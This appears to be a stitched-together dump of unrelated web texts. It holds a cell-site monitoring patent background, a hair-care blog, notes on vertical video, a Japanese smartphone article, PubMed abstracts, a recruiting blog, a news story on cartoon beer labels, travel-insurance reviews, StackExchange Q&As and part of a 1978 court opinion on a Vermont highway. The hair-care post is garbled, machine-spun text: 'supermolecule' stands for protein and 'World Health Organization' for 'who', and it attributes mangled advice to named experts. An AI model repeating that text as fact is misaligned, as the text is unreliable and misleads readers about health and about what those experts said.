A conventional way to monitor cell site loading conditions is for a person, usually a network engineer or technician employed by a wireless communication service provider, to travel from cell to cell making loading condition readings using specially designed and expensive test equipment. The logged data is then returned to a central processing facility for postprocessing and analysis. Some significant drawbacks to this method are that the data can not be evaluated in real-time, and that significant errors are introduced due to propagation effects between the base station and the measurement equipment. Thus, this monitoring method only provides a rough estimate of cell site loading conditions, and can only be used in a time-delayed fashion to take corrective action, such as reassigning resources for the future. It does not enable the service provider to take any real-time action to improve loading conditions and their effect on system performance. Additionally, it requires a person to travel to each site serially, thus providing a discontinuous "hit or miss" estimate of the peak loading condition and consequent system performance depending on whether the visit coincided with the actual (rather than assumed) peak usage times.
Another possible way of monitoring cell site loading conditions is to access the performance data logged by the base station itself, or the base station controller. However, this requires that the scarce base station processing resources be diverted to collect and retrieve the data. Additionally, it suffers from the non-real time post-processing problems as previously mentioned. Lastly it also requires that a person visit each cell site serially to retrieve the data.
What is needed is a simple and accurate remote real-time load monitoring and management system which does not require access to the base station or base station controller logged data, and hence does not impact processor performance.
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Sunday, 18 September 2016
Best Ways For Hair Care
Hair are one of the most important things that make our personality. But without proper care our hair will become dull and boring. Here we present some of the amazing tips to give your gorgeous and beautiful hair. Other than these tip you can also check some of the wonderful tips at Best ways to grow hair faster.
1. Get frequent trims — affirmative, really.
It may appear unreasonable, however if you would like long hair that is truly healthy, you wish to induce regular trims. "While haircuts do not build your hair grow any quicker, they get eliminate split ends that break your hair," explains celebrity "Eliminating the breakage provides the looks that your hair is growing quicker." in any case, a end that breaks will cause your hair losing length — to not mention shine, volume, and smoothness. unsure however typically to trim your hair? we have got a guide for that.
3. Keep your scalp healthy.
Think of your hair sort of a tree: If the soil and roots are not taken care of, the tree cannot grow tall and solid. "Hair growth starts with a healthy scalp," explains celebrity artisan and cyst founder Chaz Dean. "When you cleanse and treat your scalp with healthy ingredients, you product robust, lovely hair." If you are not positive however healthy your hair is, Chaz recommends doing a "root raise test": At the crown of your head, blockage a part of your hair. Healthy hair ought to be a similar thickness root to finish, however if your ends ar agent, it is time to rethink your hair care plan.
4. Begin from the within by consumption the correct foods.
Having long, robust hair does not simply rely on that product you place on your hair, it conjointly depends on what you place into your body. "To promote hair growth, you wish to 'feed' the hair from the within," explains Dr. Francesco Fusco, specialist and CLEAR Scalp & Hair skilled. "Try increasing your supermolecule intake with foods like fish, beans, nuts, and whole gains." If you are not a meat-lover, make sure to take care of a diet high in supermolecule — Dr. Fusco warns that ladies World Health Organization aren't getting enough of it typically expertise "more shedding."
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The Case for Vertical
That’s the set. With YouTube’s new update offering a much-improved native, full screen vertical video experience, all of the major syndicators of video now offer this as standard. For UGC-ers, this will mean ever more opportunities to upload blurry lols straight from your device. For users, it means an end to those irritating bars at the side of the content. But what about the content creators we work with every day?
Vertical has been available for some time now on Facebook, has been a key element of Instagram’s rise and rise with Stories and it would be remiss not to acknowledge the contribution of original truly mobile-first social network Snapchat in driving the initial trend towards the 2:3 ratio. And the move towards vertical isn’t exactly something new. Of the major social networks, YouTube has the largest skew towards desktop consumption. Nevertheless, mobile consumption rate >50% was achieved back in 2015. As such, it’s hardly revelatory to find out that most content is consumed on a mobile: mobiles are held in the vertical position 95%, according to a report from MOVR.
Nevertheless, branded content is generally made in old skool horizontal letterbox 16:9. Indeed, I have yet to work on a single campaign where the video content was served vertically. The reason seems fairly obvious: that the content is developed for TV/Cinema first and foremost and then syndicated digitally almost as an afterthought. But given that the impressions/views achievable on Social are potentially higher, the case for making bespoke vertical content, if previously at a tipping point, has now been nudged over the hurdle by YouTube’s developments.
Need a further case? Vertical could well prove more cost effective. Snapchat claims that its vertical formats see a 9x greater engagement rate than its non-vertical formats. Not so surprising. But it also claims their ads see 2x higher visual attention vs. comparable platform. Better engagement means better Quality Scores (or whatever a respective platform calls them), better reach and lower CPEs.
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プラスワン・マーケティングは、スマートフォンブランド「freetel（フリーテル）」の新機種である「SAMURAI MIYABI（雅）」の実機を報道陣向けに公開した。まもなく正式に量産が開始されるとのことで、先行的に量産された製品が紹介された。発売日はあらためて案内されるが、近日中とのこと。
「MIYABI」は、フリーテルのAndroidスマートフォンのなかでも中位クラスに位置付けられるモデル。側面や背面もスクエアな仕上がり。日本らしさを演出する待受画像が多く用意され、水墨画風のものなどを収録する。5インチ、HDのIPS液晶ディスプレイで２GBメモリ、1.3GHzのクアッドコアCPU（MediaTek製）を採用する。こうした性能のスマートフォンは他社からもリリースされているが、同社では、同程度の他機種と比べて、ストレージが32GBとなること、価格が1万9800円（税抜）になることが他社にないアドバンテージとアピールする。
ネットワークはNTTドコモのFOMAプラス、ソフトバンクのプラチナバンドをサポート。対応バンドは3G（W-CDMA）が1/6/8/19、LTEは1/3/8/19で通信できる。バッテリーは2200mAhでカバーを外して脱着できる。デュアルSIMスロット対応で、どちらもmicroSIMサイズ。どちらのスロットもLTE/3Gに対応するが、国内ではデュアルスタンバイに非対応で、どちらか一方だけのSIMカードを使う形。海外では、日本のSIMカードと現地のSIMカード、あるいはLTEと2Gといった組み合わせで利用できる。設定によって、一方のSIMで音声通話のみ、もう一方はデータ通信のみといった形でも利用できる。
バッテリーカバーには金属が用いられ、CPUの熱を発散するよう配慮されている。モバイル通信やWi-Fiのアンテナは側面のフレームとなる。
1300万画素のメインカメラ、500万画素のフロントカメラを装備する。
独自機能としてジェスチャー機能を搭載。その1つである「ジェスチャーアンロック」は、画面消灯時に、ディスプレイに「M」と描けば音楽機能、「C」と描けば電話機能を起動できる。ジェスチャーの種類はあらかじめ決まっているが、どのジェスチャーでどのアプリを呼び出すかカスタマイズできる。また「スマートジェスチャー」はディスプレイの上部にあるセンサーの前で手を振ると操作できるというもの。電話がかかってきたら、手をかざすと応答できる、といった形だ。このほか、手袋をつけたままでも操作できる手袋モードも利用できる。
大きさは72×142×8.2mm、重さは約150g。Bluetooth 4.0、Wi-Fi（IEEE802.11b/g/n）をサポート。バッテリーは急速充電に対応する。ボディカラーは、ホワイト、ブラック、シャンパンゴールドの3色。
MIYABIと同時期に発表された「KIWAMI（極）」についてはまだ発表日やスペックの詳細は明らかにされていない。Windowsスマホの「KATANA 01」「KATANA 02」の発表日も今回は明らかにされなかった。
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Feasibility of e-Pain Reporter: A Digital Pain Management Tool for Informal Caregivers in Home Hospice.
Informal hospice caregivers often have difficulty managing patient pain at home. We developed a digital application, e-Pain Reporter, for informal caregivers to record and providers to monitor patient pain and pain management. The purpose of this study was (1) to assess the feasibility of informal caregivers using the e-Pain Reporter for 9 days in home hospice by investigating recruitment and retention and caregiver satisfaction with and frequency of use of the e-Pain Reporter and (2) describe patient pain characteristics and caregiver's barriers to pain management and self-efficacy in providing patient care in the home. One-group pre-post design was used. Patient-caregiver dyads were recruited from 1 hospice agency. Caregivers were asked to report all patient pain and pain management using the e-Pain Reporter. Feasibility of the e-Pain Reporter was assessed by the average number of times caregivers recorded breakthrough and daily pain and caregiver satisfaction with the app. The 27-item Barriers Questionnaire II and 21-item Caregiver Self-efficacy Scale were administered at baseline. Fourteen dyads enrolled, 2 patients died, and 12 dyads completed the study. Mean number of pain reports over 9 days was 10.5. Caregivers reported high overall satisfaction with the e-Pain Reporter. Barriers scores were moderately high, suggesting erroneous beliefs and misconceptions about pain reporting and use of analgesics, but self-efficacy in managing pain was also high (93% confidence). Findings suggest that the e-Pain Reporter is a feasible method to report and monitor caregiver management of pain at home. Caregiver high barriers and high overconfidence suggest the need for an educational component to the e-Pain Reporter to address misconceptions about pain and pain management.
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{
"pile_set_name": "PubMed Abstracts"
}
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Quality over quantity
ISE Blogs
Dean Symons of Magnet.me considers how recruiters can make better use of time with a more targeted approach.
Having worked in the industry for over a year, attended the A-Z of graduate recruitment events and spoken to recruiters and talent acquisitions from across the UK, one thing is apparent and that is time... or the lack thereof.
I think every recruiter I have spoken to is busy all day everyday. I can certainly understand that. Sifting through thousands of applications, attending various meetings, hearing that job specs have changed, interviewing candidates, going through rejection, dealing with sales people, and on top of all of this, we need a personal life.
I’ve found that while some employers are becoming more targeted, others are attracting thousands of applications to find one hire. The chances are that if you are introduced to four candidates in a warm way, either from a friend, Linkedin, media platform etc….. nine out of 10 times you will hire one of the four. Some options are necesary to find the right fit for the job, but if more than 100 candidates are required per hire I can see why time is so limited.
'trying to find a diamond in the rough'
The process can be like trying to find a diamond in the rough. It takes a lot of time and effort to find the perfect, or even a single, diamond. After hours of blood, sweat and tears anything diamond-like is sure to start looking perfect - or you can end up exhausted and empty handed. Adding pile after pile of rubble onto the workload, because it ‘may have a diamond in it’, does not make the decision easier or quicker. Adding more increases workload and risks mistaking a below average diamond for priceless.
I get the feeling that having too many options, even when you know what you’re looking for, can pose problems of its own.
It’s easy to lose or forget that gut feeling you had about a candidate because you come across another and another and another. I would like to think that recruiters want to make use of their intuition.
A ‘spray and pray’ process, sending thousands of emails and praying for the right candidate, no longer makes sense. A targeted approach, focusing on quality over quantity can save precious time, putting you back in control.
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"pile_set_name": "Pile-CC"
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Behemoth Brewing owner Andrew Childs says its cartoon labels were intended to be subtle humour that would only appeal to adults.
Alcohol watchdogs are concerned beer branding featuring cute cartoons or resembling softdrinks, may be too appealing to minors.
The rise of the craft beer market has resulted in a new wave of creative, colourful, and often cartoonish labels as alcohol producers compete for consumers' attention.
Auckland craft brewery Behemoth Brewing Company, has "brave bikkie brown ale" featuring a cartoon monster eating a cookie on its bottles.
JASON OXENHAM/FAIRFAX NZ Schipper's Beer owner Niels Schipper says he was unaware alcohol labelling could not feature images that appealed to minors.
A mouse riding a dog appears on Scallywag rich amber ale from Auckland craft brewery Schipper's Beer, while a badger wearing a jetpack stars on its Boffin bitter.
Even the Mac's beer range, owned by major brewer Lion, features labels with drawings of wolves, a shark fin and an Indian Pale Ale called "birthday suit" with a grizzly beer holding a hop bud. And two months ago, the darling of the New Zealand craft beer scene, Garage Project, released a "Lola cheery cola beer" in a can with a striking resemblance to Coca-Cola.
READ MORE:
* Liquorland alcohol calculator changes 'step in right direction'
* Alcohol advertising and sponsorship in sport to be addressed by Government
SUPPLIED Schipper's Beer selection featuring cartoon labels.
But while this type of branding can be fun and exciting for adults, it can spell confusion for youngsters, said Rebecca Williams, director of the Alcohol Healthwatch group.
She said cartoons on alcohol labelling sent a message to minors that alcohol consumption should not be taken seriously, blurring the reality that it contained a toxin.
"Look at the colours of them - they're cute, they're quirky," said Williams.
When children liked a brand or could relate to it, it translated into early alcohol consumption, she said.
"I think it's about time somebody was challenged."
But beer producers denied "fun" marketing characters and labels were aimed at those too young to drink alcohol.
Behemoth Brewing owner Andrew Childs said all of its beers were centred around a character named Churly.
"He is fun, quirky and definitely targeted at an adult audience," Childs said.
The brewery liked to have fun with its names and labels, he said. "We have subtle humour on our labelling that will only be picked up by adults.
"We definitely do not feel that our labelling or marketing is targeting children."
Under the Sale and Supply of Alcohol act it is an offence to promote or advertise alcohol in a manner aimed at, or that was likely to appeal to minors.
Alcohol producers are also obliged to adhere to the Advertising Standards Authority (ASA) code for advertising and promotion of alcohol which states "alcohol advertising and promotions shall not use designs, motifs, or cartoon characters that have strong or evident appeal to minors or that create confusion with confectionary or soft drinks".
And Kevin Sinnott, acting executive director of the Brewers Association, said its members, which include Lion and DB, supported provisions within the ASA code.
"Our members work hard to ensure that all their marketing activity complies with the code," Sinnott said.
The Brewers Guild of New Zealand, which represents craft breweries said it provided a labelling guide to members.
President Emma McCashin said: "Our advice to members is, if they are in doubt about whether their packaging or promotion complies, they should get pre-approval from LAPs (local alcohol policies), which will give them a definitive answer."
Owner of Auckland craft brewer Schipper's Niels Schipper said he did not know there was an alcohol advertising code featuring a clause prohibiting the use of cartoons or imagery that appealed to minors.
"I haven't really given it much thought because a child can't go into a shop and buy it," Schipper said.
Niels' friend drew the images for Schipper in exchange for beer as payment, he said.
"I give him a pretty open brief really."
This #GEEZER came up to me and said "why don't u put me in a can?".............so we did! pic.twitter.com/Wh1IK0Nnm5 — Niels Schipper (@Schippersbeer) December 30, 2015
He said there were too many negative images representing darkness and death in beer labelling and he wanted a more approachable brand.
"I'm just trying to keep things simple and fun."
If officials approached him about the labels appealing to children he would change them, he said.
ASA chief executive Hilary Souter said the ASA had no legal bearing. It is a self-regulatory organisation set up by advertisers, agencies and media to provide a layer of advertising standards.
"The guidelines are just that. They are not law."
If a complaint was laid by the public about an advertisement and the ASA's appeal board upheld it, the advertiser would be asked to remove a product and re-label it.
No complaints had been made about beer labels, she said.
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Travel Insurance ReviewsAXA Assistance USA
AXA Assistance USA is part of the AXA Group, one of the world's largest and financial companies servicing over 95 million people worldwide, with over 50 years of experience in the travel insurance industry.
Thank you for the kind review! We are delighted to know you’re happy with your purchase and had a trouble-free trip but were covered in the event the unexpected occurred. AXA Assistance USA looks forward to providing travel protection for all of your future endeavors!
We had to cancel our trip due to medical issue. It took them a little over thirty days to review claim and then request additional information/documentation. When I emailed twice for an explanation of why this was needed, I never received a response. I did procure the documentation requested anyway and submitted. We finally received a refund of all of our trip related expenses almost 2 months after submitting claim. So we were made whole, but customer service was wanting.
Thank you for taking the time to provide a review of your purchase. We appreciate your comments and continually use customer feedback to improve our products and service. We hope you will consider us again for future travel.
We didn't need to use it, so I cannot say if the coverage was adequate. BUT, it did allow us to feel more comfortable in that we would be protected if we did need to cancel. It was very expensive, though.
Thank you for the kind review! We are delighted to know you’re happy with your purchase and had a trouble-free trip. Feel free to call in to discuss your insurance needs to make sure you're getting the best insurance coverage at the price point you are looking for. We look forward to providing travel protection for all of your future endeavors!
We have traveled extensively (cycling and hiking) since retirement 18 years ago and never purchased travel insurance in the past. However for this 7 week trip to Spain and the Netherlands which included 2 weeks (200+ miles) of cycling plus our ages (72 and 79) plus concerns about family health plus increased terrorist potential we decided it would be a good idea for this trip to get both trip protection and medical coverage. Though we did not need to use the coverage, happily, it provided peace of mind. Particularly when the Barcelona incident occurred a week before leaving and one of the cycling trips was more difficult than anticipated causing others to fall and injure themselves.
Congrats on a successful cycling trip! Having that sense of peace of mind can really often be priceless. We are proud to have been a part of it for you. Please think of AXA Assistance USA for any future travels and we hope to continue to provide you with a worry-free experience.
We are happy to hear your trip insurance plan provided you with the peace of mind to allow you to really enjoy your travel experience without the worry.
We appreciate the opportunity to provide coverage for you and hope you will consider AXA Assistance USA for future travels.
It seems irrelevant to comment when I did not have to use the plan. Often it is when one tries to claim that one discovers the true mettle of the company. But, I needed to buy insurance this time and the terms were what I was looking for.
Having trip coverage certainly helps you focus on the important things like enjoying the travel experience and destination.
We appreciate the opportunity to provide coverage for you and hope you will consider AXA Assistance USA for future travels.
Thank you for the review! We are delighted to know you’re happy with your purchase and had a trouble-free trip but were covered in the event the unexpected occurred. We appreciate the opportunity to provide coverage for you and hope you will consider AXA Assistance USA for future travels.
Having trip coverage certainly helps you focus on the important things like enjoying the travel experience and destination. We appreciate the opportunity to provide coverage for you and hope you will consider AXA Assistance USA for future travels.
Thank you for your feedback. We are happy to hear you had a trouble-free trip but were covered in the event the unexpected occurred. We look forward to providing travel protection for all of your future endeavors!
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{
"pile_set_name": "Pile-CC"
}
|
Alternative delimiters for [link definitions][link1] are allowed -- as of
Markdown 1.0.2, I think. Hence, [this link][link2] and [this link][link3] work
too.
[link1]: http://daringfireball.net/projects/markdown/syntax#link "link syntax"
[link2]: http://daringfireball.net/projects/markdown/syntax#link 'link syntax'
[link3]: http://daringfireball.net/projects/markdown/syntax#link (link syntax)
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{
"pile_set_name": "Github"
}
|
Q:
Linking a twitter search to a custom tableview cell
okay, here's what I've been scratching my head over for the last few days. I have created a custom cell for my table view. I have created a separate class (customCell.h) for this cell and linked them together in Xcode.
The custom cell has four UIlabels which I have declared in the .h file of the custom cell and linked to the custom cell via storyboard.
I have imported the customCell.h header file into the .h file of my table view controller
I am trying to do a search on twitter, and then populate the table view and custom cell with the details of the various tweets. The issue is I don't know how to link the results of the tweet to the 4 UIlabel outlets in my custom cell.
When I am declaring some of the outlets of the custom cell in my table view implementation file (even though I've imported the .h file of the custom cell) xcode is saying that it does not recognise the name
I've copied the coding below detailing as far as I can get. Any help would be much appreciated. Thanks in advance
- (void)fetchTweets
{
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
NSData* data = [NSData dataWithContentsOfURL:
[NSURL URLWithString: @"THIS IS WHERE MY TWITTER SEARCH STRING WILL GO.json"]];
NSError* error;
tweets = [NSJSONSerialization JSONObjectWithData:data
options:kNilOptions
error:&error];
dispatch_async(dispatch_get_main_queue(), ^{
[self.tableView reloadData];
});
});
}
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
return tweets.count;
}
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
static NSString *CellIdentifier = @"TweetCell";
UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier];
if (cell == nil) {
cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier];
}
NSDictionary *tweet = [tweets objectAtIndex:indexPath.row];
NSString *text = [tweet objectForKey:@"text"];
NSString *name = [[tweet objectForKey:@"user"] objectForKey:@"name"];
NSArray *arrayForCustomcell = [tweet componentsSeparatedByString:@":"];
cell.textLabel.text = text;
cell.detailTextLabel.text = [NSString stringWithFormat:@"by %@", name];
return cell;
}
A:
You are creating an instance of the UITableViewCell, which is the default class for tableview cells. In your case, you have to create an instance of your customCell class (which extends the UITableViewCell class). You have to do this in you cellForRowAtIndexPath method:
static NSString *CellIdentifier = @"TweetCell";
customCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier];
if ( cell == nil )
{
cell = [[customCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier];
}
// Get the tweet
NSDictionary *tweet = [tweets objectAtIndex:indexPath.row];
I hope this helped you out!
Steffen.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Setting a form field's value during validation
I read about this issue already, but I'm having trouble understanding why I can't change the value of a form's field during validation.
I have a form where a user can enter a decimal value. This value has to be higher than the initial value of the item the user is changing. During clean(), the value that was entered is checked against the item's previous value. I would like to be able to re-set the form field's value to the item's initial value when a user enters a lower value.
Is this possible from within the clean() method, or am I forced to do this in the view? Somehow, it doesn't feel right to do this in the view...
(To make matters more complicated, the form's fields are built up dynamically, meaning I have to override the form's clean() method instead of using the clean_() method).
A:
I agree with Jack M's comment above. However, if you are going to change a form field's value, the view is likely the best place to do it. Validation methods should only be concerned with determining whether or not the current values are valid.
In the view, you are already assigning flow control depending on a bound form's validity - whether or not to redirect to a 'success' page, or redisplay the form. In many cases you are also pre-populating a form, as in the example of a form used to edit existing parameters. It seems a logical extension of this functionality to add extra control over a particular value.
|
{
"pile_set_name": "StackExchange"
}
|
Associations of prenatal exposure to Ramadan with small stature and thinness in adulthood: results from a large Indonesian population-based study.
A growing body of evidence suggests that maternal diet during pregnancy can lead to permanent alterations to the physiology of the fetus. It is unknown whether intermittent maternal fasting during Ramadan has long-term associations with the offspring's body composition. By using data from the third wave of the Indonesian Family Life Survey (2000), we compared the body mass indices (weight (kg)/height (m)(2)) of Muslims who had been in utero during Ramadan with those of Muslims who had not been in utero during Ramadan. Adult Muslims who had been in utero during Ramadan were slightly thinner than Muslims who had not been in utero during Ramadan (adjusted adult body mass index: -0.32, 95% confidence interval: -0.57, -0.06). Those who were conceived during Ramadan also had smaller stature, being on average 0.80 cm shorter than those who were not exposed to Ramadan prenatally. Among non-Muslims, no such associations were found. This study suggests that exposure to Ramadan during pregnancy may have lasting consequences for adult body size of the offspring.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
443 F.Supp. 1320 (1978)
The CONSERVATION SOCIETY OF SOUTHERN VERMONT et al.,
v.
SECRETARY OF TRANSPORTATION et al.
Civ. A. No. 6598.
United States District Court, D. Vermont.
January 19, 1978.
*1321 Harvey D. Carter, Jr., of Witten & Carter, Bennington, Vt., for plaintiffs.
Robert Schwartz, Deputy Atty. Gen., Montpelier, Vt., for the Vermont Highway Dept.
William B. Gray, U. S. Atty., and Richard H. Thomas, Dept. of Transp., Albany, N.Y., for the United States.
Arthur J. O'Dea, Manchester Center, Vt., for the amici curiae.
FINDINGS OF FACT, CONCLUSIONS OF LAW and OPINION on MOTION OF DEFENDANTS TO DISSOLVE INJUNCTION
OAKES, Circuit Judge, Sitting by Designation.
This matter again came on for hearing on November 10, 1977,[1] when the federal and *1322 state defendants moved to dissolve an injunction issued on October 26, 1972, see Conservation Society of Southern Vermont, Inc. v. Volpe, 343 F.Supp. 761 (D.Vt.1972), which remained
in full force and effect until a good and sufficient Section 4(f) statement is filed with and approved by the court.
Conservation Society of Southern Vermont, Inc. v. Secretary of Transportation, No. 6598, at 8 (D.Vt. July 26, 1977). The basis for defendants' motion is that the Section 4(f) statement filed with this court on August 23, 1977, meets the requirements of Section 4(f) of the Department of Transportation Act of 1966, 49 U.S.C. § 1653(f) and of Section 138 of the Federal-Aid Highway Act of 1968, 23 U.S.C. § 138.[2]
RECAPITULATION
The lengthy prior proceedings in this case[3] began when the Vermont Highway Department, with the approval of the United States Department of Transportation, proposed a four-lane highway project involving U.S. Route 7. A new highway extending from Bennington, Vermont, to Manchester, Vermont, was contemplated. It has been referred to throughout the litigation in terms of its three component projects, F 019-1(8) (Project 8), F 019-1(9) (Project 9), and F 019-1(10) (Project 10). Project 9 is the subject of the current proceedings.
On October 26, 1972, this court enjoined the defendants from proceeding with the project until a final environmental impact statement (EIS) required by the National Environmental Policy Act of 1969 (NEPA), 42 U.S.C. § 4332(2)(C), was filed, and the requirements of Section 4(f) of the Department of Transportation Act of 1966, 49 U.S.C. § 1653(f), and of Section 138 of the Federal-Aid Highway Act of 1968, 23 U.S.C. § 138, were met. See Conservation Society of Southern Vermont, Inc. v. Volpe, supra, 343 F.Supp. at 766, 768.
After the EIS was filed, on July 27, 1973, this court refused to dissolve the injunction on a number of grounds, including defendants' failure to comply with the requirements of Section 4(f). Conservation Society of Southern Vermont, Inc. v. Secretary of Transportation, 362 F.Supp. 627, 638-39 (D.Vt.1973), aff'd, 508 F.2d 927 (2d Cir. 1974), affirmance vacated & remanded sub nom., Coleman v. Conservation Society of Southern Vermont, Inc., 423 U.S. 809, 96 S.Ct. 19, 46 L.Ed.2d 29 (1975), rev'd, 531 F.2d 637 (2d Cir. 1976). Appeals followed culminating in the reversal of that portion of the July 27, 1973, decision dealing with Vermont Highway Department preparation of the NEPA-required EIS and the necessity of a regional EIS. The propriety of the Section 4(f) determination was not considered in any of the subsequent proceedings. Nor was the propriety of the court's rulings that approval of the NEPA EIS was limited to two-lane construction only and that the EIS was "insufficient to support four-lane construction, within the reasonably foreseeable future since no present need therefor is demonstrated." 362 F.Supp. at 635.
In an order of June 7, 1977, this court held that its injunction of October 26, 1972, had not been dissolved in full by the court of appeals' reversal, 531 F.2d 637, but remained binding on defendants with regard to Section 4(f) compliance, Conservation Society of Southern Vermont, Inc. v. Secretary of Transportation, No. 6598, at 2-3 (D.Vt. June 7, 1977), as well as with respect to the two-lane limitation.
Section 4(f) was originally implicated because Project 9 is to border what in 1973 was known as the Lye Brook Backwoods area. That area consists of approximately 11,000 acres, constituting a substantial portion of the Green Mountain National *1323 Forest. At the time of this court's July 27, 1973, opinion legislation had been introduced in Congress to declare Lye Brook a wilderness area, and it had been placed by the United States Forest Service in a "no development" status. Since then, by act of Congress, it has become the Lye Brook Wilderness area. Pub.L. No. 93-622, § 3(a)(11), 88 Stat. 2097 (1975). Both in the opinion of this court, Conservation Society of Southern Vermont, Inc. v. Secretary of Transportation, supra, 362 F.Supp. at 639, and by designation of the Forest Service in January, 1976, the close proximity of the proposed highway project to the Lye Brook Wilderness area constitutes a "use" of publicly owned recreation land as defined in Section 4(f). Accord, Monroe County Conservation Council, Inc. v. Adams, No. 77-6129, 566 F.2d 419 at 424 (2d Cir., 1977).
It was not until August, 1976, that a draft supplemental EIS under Section 4(f) was prepared and distributed. Thereafter a final supplemental 4(f) EIS was prepared. It was executed by the appropriate United States Department of Transportation authorities on July 20, 1977, and its availability was published in the Federal Register on July 29, 1977.
On July 26, 1977, this court dissolved its injunction precluding construction of Projects 8 and 10 in two-lane form. It was held that these projects were severable from Project 9 for Section 4(f) purposes because only Project 9 is adjacent to the Lye Brook Wilderness area. It was further determined that Projects 8 and 10 would be usable even if Project 9 were not built. Project 9, however, remained enjoined, pending approval by this court of a valid, final 4(f) statement. Conservation Society of Southern Vermont, Inc. v. Secretary of Transportation, supra, No. 6598 at 5-6, 8.
The validity of the final 4(f) statement with regard to Project 9 is now before the court. Pursuant to this court's order on motion for rehearing dated August 23, 1977, Conservation Society of Southern Vermont, Inc. v. Secretary of Transportation, No. 6598 (D.Vt. Aug. 23, 1977), the Section 4(f) statement previously filed with the court is treated as filed as of August 23, 1977. More than thirty days have elapsed since the final 4(f) statement was made available to the Council on Environmental Quality, commenting agencies and the public, in accordance with Paragraph 6(e) of the Federal Aid Highway Program Manual 7-7-2. See letter from David B. Kelly, Division Administrator, to Ronald E. W. Crisman, Acting Commissioner, Vermont Department of Highways (Sept. 2, 1977) (Exhibit 1 to State Defendants' Motion to Dissolve Injunction and Memorandum of Law in Support Thereof, dated Sept. 20, 1977). The matter is thus ripe for consideration at this time.
On November 10, 1977, testimony was taken from witnesses called by the plaintiffs, Joseph Landry, State Highway Department Transportation Plannings and Programs Engineer; Arthur J. Goss, Chief of Design of the Vermont Agency of Transportation; David B. Kelly, Division Administrator of the Federal Highway Administration for the State of Vermont; and Robert L. Morris, a highway transportation planner. Gordon MacArthur, Traffic Research Engineer for the Vermont Agency of Transportation, testified for defendants on rebuttal. On the basis of the testimony, the exhibits and the entire record, this court makes the following findings of fact.
FINDINGS OF FACT
1. Project 9 involves the acquisition of a right of way for a four-lane, limited-access, divided highway, extending from Sunderland, Vermont, northerly approximately ten miles to its junction with Vermont State Route 11, east of Manchester Center, Vermont, with initial construction of only two lanes proposed and permissible, absent another NEPA EIS and 4(f) statement, under the prior orders and decisions of the court.
2. The final Section 4(f) statement was duly circulated to federal, state and local agencies, officials and individuals.[4]
*1324 3. The court finds that there has been substantial compliance with the requirement that the proposed two-lane construction and four-lane right of way acquisition minimize environmental harm. The authorities have carefully selected the precise location of construction along the right of way, with the goal of reducing noise impacts on the Wilderness area. The original 4(f) statement proposed construction along the easterly portion of the right of way. The final proposal envisions construction along the westerly side of the right of way. This change in alignment of the proposed two-lane construction resulted from the United States Department of Transportation's review of the final 4(f) statement. It was made for the purpose of "alleviat[ing] somewhat the noise impact from Route 7 on the Lye Brook Wilderness [area]," Final Supplemental EIS § 4(f) Statement, Addendum, at 1, because the highway will be located 200 to 300 feet further away from the Wilderness boundary under the new proposal. The additional 200 to 300 feet of wooded area between the highway and the Wilderness area will, it is now estimated, provide sufficient noise attenuation to reduce noise within the Wilderness to a level meeting FHWA's noise level standards. Id. This court duly notes that "[t]his adjustment in the project plans appears to be a necessary measure to minimize harm to the wilderness, in compliance with the requirements of section 4(f)." Id. Implicitly, then, construction of two lanes on the easterly portion of the right of way would both fail to minimize harm to the Wilderness and fail to meet noise level standards within the Wilderness area.[5]
Additional aspects of the proposal will serve to minimize environmental harm. Although the project calls for acquisition of thirty-six acres of National Forest land, these are not Section 4(f) lands. The scenic views along the proposed alignment will be magnificent, while the visual impact of the highway on the Lye Brook Wilderness area will be minimized by the highway's location on a shelf below "The Burning." Landscaping projects have been added to prevent erosion, enhance the view from the road and, most importantly, to screen the highway from the Wilderness area. In addition, no overhead utility lines will be permitted along the highway. Limited access will both prevent strip development along the highway and protect the natural integrity of the area.[6] No known historic sites will be affected by the proposed alignment. Similarly, a survey by an archaeological reconnaissance group indicates that archaeological resources will probably not be encountered since the terrain along the proposed route is topographically unsuited for habitation. As is often the case in Vermont, however, wildlife crossing the highway may present a problem. But according to the Forest Service, most of the deer in the area stay in the higher country to the east and do not migrate through the area of the proposed highway. It is estimated that air pollution will be minimal. The impact on water resources of the Wilderness area will also be negligible because most of the Wilderness area is at an elevation higher than the proposed highway. Finally, adverse environmental impacts during the construction period will be minimized by adherence to the "General Specifications for Highway and Bridge Construction" established by Vermont's Department of Highways.
4. The court further finds that the 4(f) statement sufficiently considered the possibility of prudent and feasible alternates to the proposed alignment, including doing *1325 nothing, improving existing Route 7, constructing the highway at any one of three alternate locations, and utilizing alternate means of transportation such as passenger trains and buses. There is substantial evidence to support the conclusion of the 4(f) statement that these alternatives are not prudent or feasible.
A. The "no-build" alternate is unacceptable because it fails to provide necessary safe and efficient traffic service. (1) Present Route 7 is too narrow (width of eighteen feet of traveled-way as compared to the proposed width of twenty-four feet) with approximately twelve curves in the ten miles of highway involved greater than the five degrees desirable standard, and a maximum grade of 7.3%, also more than desirable. (2) The present narrow, winding, rolling alignment increases traffic hazards, as indicated by the 231 accidents including two fatalities over the five-year period 1971-75. This accident rate is more than double that experienced on rural highways up to standards consistent with the proposed construction. (3) Highway sufficiency ratings covering safety, service and condition of the existing highway are "bad." (4) Despite the energy crisis, 1977 was the busiest traffic year ever on Route 7, which is used not only by residents for business and pleasure but by tourists wishing to view the scenic grandeur of southwestern Vermont and to engage in other recreational activities. (5) Traffic volumes are expected to increase by 38% by 1995. This increase in traffic demand would result in greater safety hazards and increasing deterioration of the inadequate sections of the present highway.
